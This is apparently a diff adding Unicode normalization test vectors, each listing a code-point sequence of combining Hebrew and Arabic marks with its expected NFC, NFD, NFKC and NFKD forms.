+{ source: [0x0061, 0x05C7, 0x05B9, 0x05B8, 0x05B7, 0x0062], NFC: [0x0061, 0x05B7, 0x05C7, 0x05B8, 0x05B9, 0x0062], NFD: [0x0061, 0x05B7, 0x05C7, 0x05B8, 0x05B9, 0x0062], NFKC: [0x0061, 0x05B7, 0x05C7, 0x05B8, 0x05B9, 0x0062], NFKD: [0x0061, 0x05B7, 0x05C7, 0x05B8, 0x05B9, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0610, 0x0062], NFC: [0x00E0, 0x05AE, 0x0610, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0610, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0610, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0610, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0610, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0610, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0610, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0610, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0610, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0611, 0x0062], NFC: [0x00E0, 0x05AE, 0x0611, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0611, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0611, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0611, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0611, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0611, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0611, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0611, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0611, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0612, 0x0062], NFC: [0x00E0, 0x05AE, 0x0612, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0612, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0612, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0612, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0612, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0612, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0612, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0612, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0612, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0613, 0x0062], NFC: [0x00E0, 0x05AE, 0x0613, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0613, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0613, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0613, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0613, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0613, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0613, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0613, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0613, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0614, 0x0062], NFC: [0x00E0, 0x05AE, 0x0614, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0614, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0614, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0614, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0614, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0614, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0614, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0614, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0614, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0615, 0x0062], NFC: [0x00E0, 0x05AE, 0x0615, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0615, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0615, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0615, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0615, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0615, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0615, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0615, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0615, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0616, 0x0062], NFC: [0x00E0, 0x05AE, 0x0616, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0616, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0616, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0616, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0616, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0616, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0616, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0616, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0616, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0617, 0x0062], NFC: [0x00E0, 0x05AE, 0x0617, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0617, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0617, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0617, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0617, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0617, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0617, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0617, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0617, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0619, 0x0618, 0x064D, 0x0618, 0x0062], NFC: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFD: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFKC: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFKD: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062] },
+{ source: [0x0061, 0x0618, 0x0619, 0x0618, 0x064D, 0x0062], NFC: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFD: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFKC: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062], NFKD: [0x0061, 0x064D, 0x0618, 0x0618, 0x0619, 0x0062] },
+{ source: [0x0061, 0x061A, 0x0619, 0x0618, 0x0619, 0x0062], NFC: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFD: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFKC: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFKD: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062] },
+{ source: [0x0061, 0x0619, 0x061A, 0x0619, 0x0618, 0x0062], NFC: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFD: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFKC: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062], NFKD: [0x0061, 0x0618, 0x0619, 0x0619, 0x061A, 0x0062] },
+{ source: [0x0061, 0x0651, 0x061A, 0x0619, 0x061A, 0x0062], NFC: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFD: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFKC: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFKD: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062] },
+{ source: [0x0061, 0x061A, 0x0651, 0x061A, 0x0619, 0x0062], NFC: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFD: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFKC: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062], NFKD: [0x0061, 0x0619, 0x061A, 0x061A, 0x0651, 0x0062] },
+{ source: [0x0061, 0x064C, 0x064B, 0xFB1E, 0x064B, 0x0062], NFC: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFD: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFKC: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFKD: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062] },
+{ source: [0x0061, 0x064B, 0x064C, 0x064B, 0xFB1E, 0x0062], NFC: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFD: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFKC: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062], NFKD: [0x0061, 0xFB1E, 0x064B, 0x064B, 0x064C, 0x0062] },
+{ source: [0x0061, 0x064D, 0x064C, 0x064B, 0x064C, 0x0062], NFC: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFD: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFKC: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFKD: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062] },
+{ source: [0x0061, 0x064C, 0x064D, 0x064C, 0x064B, 0x0062], NFC: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFD: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFKC: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062], NFKD: [0x0061, 0x064B, 0x064C, 0x064C, 0x064D, 0x0062] },
+{ source: [0x0061, 0x0618, 0x064D, 0x064C, 0x064D, 0x0062], NFC: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFD: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFKC: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFKD: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062] },
+{ source: [0x0061, 0x064D, 0x0618, 0x064D, 0x064C, 0x0062], NFC: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFD: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFKC: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062], NFKD: [0x0061, 0x064C, 0x064D, 0x064D, 0x0618, 0x0062] },
+{ source: [0x0061, 0x0619, 0x0618, 0x064D, 0x064E, 0x0062], NFC: [0x0061, 0x064D, 0x0618, 0x064E, 0x0619, 0x0062], NFD: [0x0061, 0x064D, 0x0618, 0x064E, 0x0619, 0x0062], NFKC: [0x0061, 0x064D, 0x0618, 0x064E, 0x0619, 0x0062], NFKD: [0x0061, 0x064D, 0x0618, 0x064E, 0x0619, 0x0062] },
+{ source: [0x0061, 0x064E, 0x0619, 0x0618, 0x064D, 0x0062], NFC: [0x0061, 0x064D, 0x064E, 0x0618, 0x0619, 0x0062], NFD: [0x0061, 0x064D, 0x064E, 0x0618, 0x0619, 0x0062], NFKC: [0x0061, 0x064D, 0x064E, 0x0618, 0x0619, 0x0062], NFKD: [0x0061, 0x064D, 0x064E, 0x0618, 0x0619, 0x0062] },
+{ source: [0x0061, 0x061A, 0x0619, 0x0618, 0x064F, 0x0062], NFC: [0x0061, 0x0618, 0x0619, 0x064F, 0x061A, 0x0062], NFD: [0x0061, 0x0618, 0x0619, 0x064F, 0x061A, 0x0062], NFKC: [0x0061, 0x0618, 0x0619, 0x064F, 0x061A, 0x0062], NFKD: [0x0061, 0x0618, 0x0619, 0x064F, 0x061A, 0x0062] },
+{ source: [0x0061, 0x064F, 0x061A, 0x0619, 0x0618, 0x0062], NFC: [0x0061, 0x0618, 0x064F, 0x0619, 0x061A, 0x0062], NFD: [0x0061, 0x0618, 0x064F, 0x0619, 0x061A, 0x0062], NFKC: [0x0061, 0x0618, 0x064F, 0x0619, 0x061A, 0x0062], NFKD: [0x0061, 0x0618, 0x064F, 0x0619, 0x061A, 0x0062] },
+{ source: [0x0061, 0x0651, 0x061A, 0x0619, 0x0650, 0x0062], NFC: [0x0061, 0x0619, 0x061A, 0x0650, 0x0651, 0x0062], NFD: [0x0061, 0x0619, 0x061A, 0x0650, 0x0651, 0x0062], NFKC: [0x0061, 0x0619, 0x061A, 0x0650, 0x0651, 0x0062], NFKD: [0x0061, 0x0619, 0x061A, 0x0650, 0x0651, 0x0062] },
+{ source: [0x0061, 0x0650, 0x0651, 0x061A, 0x0619, 0x0062], NFC: [0x0061, 0x0619, 0x0650, 0x061A, 0x0651, 0x0062], NFD: [0x0061, 0x0619, 0x0650, 0x061A, 0x0651, 0x0062], NFKC: [0x0061, 0x0619, 0x0650, 0x061A, 0x0651, 0x0062], NFKD: [0x0061, 0x0619, 0x0650, 0x061A, 0x0651, 0x0062] },
+{ source: [0x0061, 0x0652, 0x0651, 0x061A, 0x0651, 0x0062], NFC: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFD: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFKC: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFKD: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062] },
+{ source: [0x0061, 0x0651, 0x0652, 0x0651, 0x061A, 0x0062], NFC: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFD: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFKC: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062], NFKD: [0x0061, 0x061A, 0x0651, 0x0651, 0x0652, 0x0062] },
+{ source: [0x0061, 0x0670, 0x0652, 0x0651, 0x0652, 0x0062], NFC: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFD: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFKC: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFKD: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062] },
+{ source: [0x0061, 0x0652, 0x0670, 0x0652, 0x0651, 0x0062], NFC: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFD: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFKC: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062], NFKD: [0x0061, 0x0651, 0x0652, 0x0652, 0x0670, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0653, 0x0062], NFC: [0x00E0, 0x05AE, 0x0653, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0653, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0653, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0653, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0653, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0653, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0653, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0653, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0653, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0654, 0x0062], NFC: [0x00E0, 0x05AE, 0x0654, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0654, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0654, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0654, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0654, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0654, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0654, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0654, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0654, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0655, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0655, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0655, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0655, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0655, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0655, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0655, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0655, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0655, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0655, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0656, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0656, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0656, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0656, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0656, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0656, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0656, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0656, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0656, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0656, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0657, 0x0062], NFC: [0x00E0, 0x05AE, 0x0657, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0657, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0657, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0657, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0657, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0657, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0657, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0657, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0657, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0658, 0x0062], NFC: [0x00E0, 0x05AE, 0x0658, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0658, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0658, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0658, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0658, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0658, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0658, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0658, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0658, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0659, 0x0062], NFC: [0x00E0, 0x05AE, 0x0659, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0659, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0659, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0659, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0659, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0659, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0659, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0659, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0659, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x065A, 0x0062], NFC: [0x00E0, 0x05AE, 0x065A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x065A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x065A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x065A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x065A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x065A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x065A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x065A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x065A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x065B, 0x0062], NFC: [0x00E0, 0x05AE, 0x065B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x065B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x065B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x065B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x065B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x065B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x065B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x065B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x065B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x065C, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x065C, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x065C, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x065C, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x065C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x065C, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x065C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x065C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x065C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x065C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x065D, 0x0062], NFC: [0x00E0, 0x05AE, 0x065D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x065D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x065D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x065D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x065D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x065D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x065D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x065D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x065D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x065E, 0x0062], NFC: [0x00E0, 0x05AE, 0x065E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x065E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x065E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x065E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x065E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x065E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x065E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x065E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x065E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x065F, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x065F, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x065F, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x065F, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x065F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x065F, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x065F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x065F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x065F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x065F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0711, 0x0670, 0x0652, 0x0670, 0x0062], NFC: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFD: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFKC: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFKD: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062] },
+{ source: [0x0061, 0x0670, 0x0711, 0x0670, 0x0652, 0x0062], NFC: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFD: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFKC: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062], NFKD: [0x0061, 0x0652, 0x0670, 0x0670, 0x0711, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06D6, 0x0062], NFC: [0x00E0, 0x05AE, 0x06D6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06D6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06D6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06D6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06D6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06D6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06D6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06D6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06D6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06D7, 0x0062], NFC: [0x00E0, 0x05AE, 0x06D7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06D7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06D7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06D7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x06D7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x06D7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x06D7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x06D7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x06D7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x06D8, 0x0062], NFC: [0x00E0, 0x05AE, 0x06D8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x06D8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x06D8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x06D8, 0x0315, 0x0062] },
